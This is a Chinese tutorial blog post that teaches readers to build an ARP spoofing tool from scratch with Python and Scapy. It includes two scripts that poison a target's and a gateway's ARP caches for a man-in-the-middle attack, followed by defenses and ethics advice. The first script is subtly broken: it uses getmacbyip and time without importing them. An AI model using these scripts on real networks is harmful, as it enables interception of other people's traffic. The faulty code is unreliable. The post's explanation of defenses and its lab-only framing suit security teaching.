别再只会用Ettercap了!手把手教你用Python+Scapy从零写一个ARP欺骗脚本(附完整代码)
从零构建ARP欺骗工具:用Python+Scapy深入理解网络协议安全
在网络安全领域,ARP欺骗一直是最基础却又最危险的攻击手段之一。大多数初学者会直接使用现成的工具如Ettercap进行实验,但这往往停留在"知其然"的层面。本文将带你从协议层开始,用Python和Scapy库从头构建一个ARP欺骗工具,让你真正理解攻击背后的每一个字节是如何工作的。
1. ARP协议深度解析:不只是地址解析
ARP(Address Resolution Protocol)协议工作在OSI模型的第二层(数据链路层)和第三层(网络层)之间,负责将IP地址解析为MAC地址。理解ARP协议的细节是构建欺骗工具的基础。
1.1 ARP报文结构详解
一个标准的ARP报文包含以下字段(以28字节的以太网ARP为例):
| 字段名 | 字节数 | 说明 | 典型值 |
|---|---|---|---|
| 硬件类型 | 2 | 网络类型 | 1(以太网) |
| 协议类型 | 2 | 上层协议 | 0x0800(IPv4) |
| 硬件地址长度 | 1 | MAC地址长度 | 6 |
| 协议地址长度 | 1 | IP地址长度 | 4 |
| 操作码 | 2 | 请求/响应 | 1(请求)或2(响应) |
| 发送方MAC | 6 | 源MAC地址 | - |
| 发送方IP | 4 | 源IP地址 | - |
| 目标MAC | 6 | 目标MAC地址 | - |
| 目标IP | 4 | 目标IP地址 | - |
在Scapy中,我们可以用以下方式查看ARP包的结构:
from scapy.all import ARP arp_packet = ARP() arp_packet.show()1.2 ARP缓存中毒原理
ARP欺骗的核心在于利用协议的两个特性:
- 无状态性:ARP协议没有连接状态的概念,任何主机都可以随时发送ARP响应
- 无认证机制:ARP响应不需要任何形式的认证,系统会无条件接受最新收到的响应
攻击者通过发送伪造的ARP响应包,让目标主机更新其ARP缓存表中错误的IP-MAC映射关系。典型的攻击模式有两种:
- 单向欺骗:只欺骗目标主机,使其认为攻击者的MAC是网关的MAC
- 双向欺骗:同时欺骗目标主机和网关,实现完全的中间人攻击
2. 环境准备与Scapy基础
2.1 实验环境配置
推荐使用以下环境进行实验:
- 攻击机:Kali Linux(预装Python和Scapy)
- 目标机:任意Linux/Windows系统
- 网络拓扑:确保所有机器在同一局域网段
安装Scapy(如果尚未安装):
pip install scapy2.2 Scapy核心功能速览
Scapy是一个强大的交互式数据包操作工具,我们将用到它的几个关键功能:
- 数据包构造:分层构建网络协议数据包
- 数据包发送:send(), sendp(), sr(), sr1()等不同发送方法
- 数据包嗅探:sniff()函数捕获网络流量
测试Scapy是否正常工作:
from scapy.all import * send(IP(dst="8.8.8.8")/ICMP())如果看到发送了一个ICMP包,说明环境配置正确。
3. 构建ARP欺骗工具
3.1 基础ARP欺骗脚本
下面是一个最基本的ARP欺骗脚本,它会向目标主机发送伪造的ARP响应:
from scapy.all import ARP, send def arp_spoof(target_ip, spoof_ip): """ 发送ARP欺骗包 :param target_ip: 目标主机IP :param spoof_ip: 要伪装成的IP(通常是网关) """ target_mac = getmacbyip(target_ip) # 获取目标MAC packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) send(packet, verbose=False) if __name__ == "__main__": target = "192.168.1.100" # 目标主机IP gateway = "192.168.1.1" # 网关IP while True: arp_spoof(target, gateway) arp_spoof(gateway, target) # 双向欺骗 time.sleep(2) # 每2秒发送一次3.2 脚本功能增强
基础脚本有几个明显的问题需要改进:
- 持续性问题:需要不断发送ARP包才能维持欺骗
- 隐蔽性问题:流量模式容易被检测
- 错误处理:没有考虑目标离线等情况
改进后的版本:
import time from scapy.all import ARP, send, getmacbyip, conf class AdvancedARPSpoofer: def __init__(self, target, gateway, interval=2): self.target = target self.gateway = gateway self.interval = interval self.target_mac = self._get_mac(target) self.gateway_mac = self._get_mac(gateway) conf.verb = 0 # 关闭Scapy的冗余输出 def _get_mac(self, ip): """安全获取MAC地址,带有重试机制""" for _ in range(3): mac = getmacbyip(ip) if mac: return mac time.sleep(1) raise ValueError(f"无法获取 {ip} 的MAC地址") def spoof(self): """执行ARP欺骗""" target_packet = ARP(op=2, pdst=self.target, hwdst=self.target_mac, psrc=self.gateway) gateway_packet = ARP(op=2, pdst=self.gateway, hwdst=self.gateway_mac, psrc=self.target) try: while True: send(target_packet) send(gateway_packet) time.sleep(self.interval) except KeyboardInterrupt: self.restore() def restore(self): """恢复正确的ARP表""" print("\n恢复ARP表...") send(ARP(op=2, pdst=self.target, hwdst=self.target_mac, psrc=self.gateway, hwsrc=self.gateway_mac), count=5) send(ARP(op=2, pdst=self.gateway, hwdst=self.gateway_mac, psrc=self.target, hwsrc=self.target_mac), count=5) if __name__ == "__main__": spoofer = AdvancedARPSpoofer(target="192.168.1.100", gateway="192.168.1.1") try: spoofer.spoof() except Exception as e: print(f"错误: {e}") spoofer.restore()4. 防御与检测技术
理解了攻击原理后,我们自然需要考虑如何防御ARP欺骗。以下是几种常见的防御方法:
4.1 静态ARP绑定
在重要主机上设置静态ARP条目可以防止被欺骗:
# Linux arp -s 192.168.1.1 00:11:22:33:44:55 # Windows netsh interface ipv4 add neighbors "以太网" 192.168.1.1 00-11-22-33-44-554.2 ARP监控工具
使用工具如Arpwatch或XArp可以监控ARP表的变化:
# 安装Arpwatch sudo apt install arpwatch # 启动监控 sudo arpwatch -i eth04.3 网络层防御
在企业网络中,可以采用以下更高级的防御措施:
- 端口安全:交换机端口绑定特定MAC地址
- 动态ARP检测(DAI):交换机验证ARP包的合法性
- 802.1X认证:网络接入控制
5. 实验注意事项与伦理考量
在进行ARP欺骗实验时,有几个重要的注意事项:
- 法律合规:仅在你自己拥有或获得明确许可的网络中进行测试
- 实验隔离:使用虚拟化环境(如VMware或VirtualBox)创建隔离的实验网络
- 影响范围:避免影响网络中的其他正常用户
- 恢复机制:确保脚本包含恢复ARP表的代码(如我们的示例中的restore方法)
一个负责任的网络安全研究者应该遵循以下原则:
- 知情同意:任何测试都应获得相关方的明确许可
- 最小影响:将测试的影响范围控制在最小必要程度
- 数据保护:不查看、不存储测试过程中接触到的他人数据
- 目的正当:测试目的应为提高安全性,而非其他不当目的
在实际工作中,我遇到过不少因为ARP欺骗导致的网络问题。有一次,一个客户的网络频繁断线,经过排查发现是内网有人运行了ARP欺骗工具"测试学习"。这提醒我们,即使是出于学习目的的实验,也必须在适当的环境中进行。
